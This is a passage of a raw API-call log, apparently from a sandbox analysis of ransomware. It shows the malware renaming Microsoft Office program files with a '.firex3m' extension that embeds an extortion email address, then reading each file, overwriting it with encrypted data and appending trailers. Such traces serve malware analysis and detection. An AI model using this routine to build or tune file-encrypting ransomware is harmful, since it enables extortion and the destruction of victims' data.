ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ebba, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.da.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0155.292] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\powerviewres.da.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0155.292] GetProcessHeap () returned 0x630000 [0155.292] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0155.293] GetProcessHeap () returned 0x630000 [0155.293] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0155.293] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.293] ReadFile (in: hFile=0x6dc, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.106] GetProcessHeap () returned 0x630000 [0162.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0162.106] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.106] WriteFile (in: hFile=0x6dc, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.106] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.106] WriteFile (in: hFile=0x6dc, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.025] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.025] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.026] CloseHandle (hObject=0x6dc) returned 1 [0164.026] GetProcessHeap () returned 0x630000 [0164.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0164.029] GetProcessHeap () returned 0x630000 [0164.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0164.029] GetProcessHeap () returned 0x630000 [0164.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0164.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b82129, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4ebde, dwReserved0=0xc947496, dwReserved1=0x72d3510, cFileName="PowerViewRes.da.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0164.030] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0164.030] Sleep (dwMilliseconds=0x1) [0164.041] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.041] GetProcessHeap () returned 0x630000 [0164.041] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c08) returned 0x707d3d0 [0164.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0165.554] CloseHandle (hObject=0x718) returned 1 [0165.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5400 [0168.637] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0168.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0168.638] GetProcessHeap () returned 0x630000 [0168.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702e910 [0168.638] GetProcessHeap () returned 0x630000 [0168.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7039d40 [0168.638] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.638] ReadFile (in: hFile=0x718, lpBuffer=0x702e910, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e910*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.970] GetProcessHeap () returned 0x630000 [0176.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0176.970] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.970] WriteFile (in: hFile=0x718, lpBuffer=0x7039d40*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d40*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.971] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.971] WriteFile (in: hFile=0x718, lpBuffer=0x704513f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x704513f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.971] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.971] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.971] CloseHandle (hObject=0x718) returned 1 [0176.971] GetProcessHeap () returned 0x630000 [0176.972] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7039d40 | out: hHeap=0x630000) returned 1 [0176.978] GetProcessHeap () returned 0x630000 [0176.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e910 | out: hHeap=0x630000) returned 1 [0176.979] GetProcessHeap () returned 0x630000 [0176.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0177.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f6e915b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0xc947496, dwReserved1=0x702e908, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.048] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.048] Sleep (dwMilliseconds=0x1) [0177.065] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD", len=0x41 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD") returned 1 [0177.065] GetProcessHeap () returned 0x630000 [0177.066] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b0c) returned 0x707d3d0 [0177.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0177.075] CloseHandle (hObject=0x4c0) returned 1 [0177.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.076] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDALLLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WDALLL~1.FIR")) returned 0x6d4ec0 [0177.076] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0177.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0177.076] GetProcessHeap () returned 0x630000 [0177.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x6efc488 [0177.076] GetProcessHeap () returned 0x630000 [0177.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x6efbcc0 [0177.076] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.076] ReadFile (in: hFile=0x4c0, lpBuffer=0x6efc488, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efc488*, lpNumberOfBytesRead=0x3bbff0c*=0x780, lpOverlapped=0x0) returned 1 [0177.085] GetProcessHeap () returned 0x630000 [0177.085] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0177.085] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.085] WriteFile (in: hFile=0x4c0, lpBuffer=0x6efbcc0*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efbcc0*, lpNumberOfBytesWritten=0x3bbff0c*=0x780, lpOverlapped=0x0) returned 1 [0177.085] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.085] WriteFile (in: hFile=0x4c0, lpBuffer=0x6efc43f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efc43f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.085] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.085] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.086] CloseHandle (hObject=0x4c0) returned 1 [0177.086] GetProcessHeap () returned 0x630000 [0177.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efbcc0 | out: hHeap=0x630000) returned 1 [0177.086] GetProcessHeap () returned 0x630000 [0177.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efc488 | out: hHeap=0x630000) returned 1 [0177.086] GetProcessHeap () returned 0x630000 [0177.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0177.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2f7f46f2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7b8, dwReserved0=0x3bbfd20, dwReserved1=0x778915ca, cFileName="WDALLLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WDALLL~1.FIR")) returned 0x6d5000 [0177.086] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0177.086] Sleep (dwMilliseconds=0x1) [0177.090] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL", len=0x41 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL") returned 1 [0177.090] GetProcessHeap () returned 0x630000 [0177.090] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b04) returned 0x707d3d0 [0177.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0177.091] CloseHandle (hObject=0x4c0) returned 1 [0177.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3437c9a, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3437c9a, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3437c9a, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xec50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUTILS.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISUTI~1.FIR")) returned 0x6d52c0 [0177.092] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0177.092] GetProcessHeap () returned 0x630000 [0177.092] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0177.093] GetProcessHeap () returned 0x630000 [0177.093] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0177.093] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.093] ReadFile (in: hFile=0x4c0, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.086] GetProcessHeap () returned 0x630000 [0185.086] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0185.086] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.087] WriteFile (in: hFile=0x4c0, lpBuffer=0x6ee3ce0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.087] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.087] WriteFile (in: hFile=0x4c0, lpBuffer=0x6eef0df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef0df*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.087] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.087] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.088] CloseHandle (hObject=0x4c0) returned 1 [0185.088] GetProcessHeap () returned 0x630000 [0185.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0185.088] GetProcessHeap () returned 0x630000 [0185.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0185.093] GetProcessHeap () returned 0x630000 [0185.093] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0185.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3437c9a, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3437c9a, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3443d5b7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xec74, dwReserved0=0xc947496, dwReserved1=0x7247da8, cFileName="VISUTILS.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISUTI~1.FIR")) returned 0x6d5480 [0185.093] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0185.093] Sleep (dwMilliseconds=0x1) [0187.137] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx", len=0x52 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx") returned 1 [0187.137] GetProcessHeap () returned 0x630000 [0187.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29c4) returned 0x707d3d0 [0187.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 